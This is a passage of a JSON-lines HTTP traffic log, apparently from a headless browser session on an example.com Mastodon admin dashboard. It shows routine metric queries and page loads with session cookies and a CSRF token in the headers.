_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"interactions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"active_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 75", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"resolved_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 73", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"opened_reports\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"languages\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 86", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--db1e142b0998e82acd3397cee7d0ba51c699d1d1; _mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"software_versions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":4}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f7ab90a67a6952f7f1d5ad1989bd08086f1f4e0c; _mastodon_session=xANL4MXAL%2B8jQ0MKXWOwjKoLfb0lZ94Re9x2SVWVpW4rw2pruLtjmCVV1OrU6k9%2B4NxPYJ8bUIXimjCsfjonkGp%2FiyrcdmhIHE5tZRtl4eQqgMdvgtYyVgDI7Vf6wthZjj7CpKQDz1E5ZZrMkLk2Lrm6cAnEXpXrE1KETaIcpVyiM9gw%2BD6quNfPe4LbIgctdoywpTXMfoIYUfSDmP1Yv7KgYkfDN1Up%2BbiwIbA4IzqV%2B1ZmNKAgUBEmlwZN3eAxnZaMbUAE5sj9CS%2BlqVXpwHyQFSafw5riq9qZ1cLpmEN7vCJontTSzATqHRTRNFGpYJtQfjCk57Q%2BeHzjq%2FKZbhOPlLJV3uEHyuljODCdYeLM%2F2R4O6nSThC3ymgmzVRJuzgt2FAK0gEa--3PLai5uEMhDyGs1y--M%2BKfCkDjOswV9rNGGrDtYg%3D%3D"], "body": "{\"keys\":[\"servers\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 80", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"space_usage\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":3}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"sources\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODA0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27c80da356ef9fe99a30374d172fe45f8057676a; _mastodon_session=3de34pjGJPXC81Mg1KttHLEorCNm9pJIAZVGHJii%2BS%2FQjIqFUIVb4cizo4Ha4cLr34tcrWe5YSqMA3UTHS5CTkfeFt4VeMU8xcbpjQIjOIlycOEmbulkfjUi850DLuSaLxZIYy%2F3ezxBwGo0gLZt6jhg7X6cvUaDpOv7RbC%2FYvm%2BpX0pC367xZH3SFeLuG9ss2DLdgvoSugHD5Nz3KOsC0h8WctDxTnA5Cg7l2Ew89jXiz7fPxzobXYBPs0sXaF6BSb7PR%2BKCqEIgDVSWA%2F1yOxlbcgXru3t67WuRMFC41nkwCwBIX2E2GoIFu97Tu5UaEBPI9niiL%2BxnYykw%2FcD7QYz0KMIR5ttr906Srp5KlkfLqysliAlnuup16dWBKe0YD%2F3cHGDztKz--AflNtJYWCNysdlia--2NdptTQdzdrNHVTqUWkzhg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
|
||||||
|
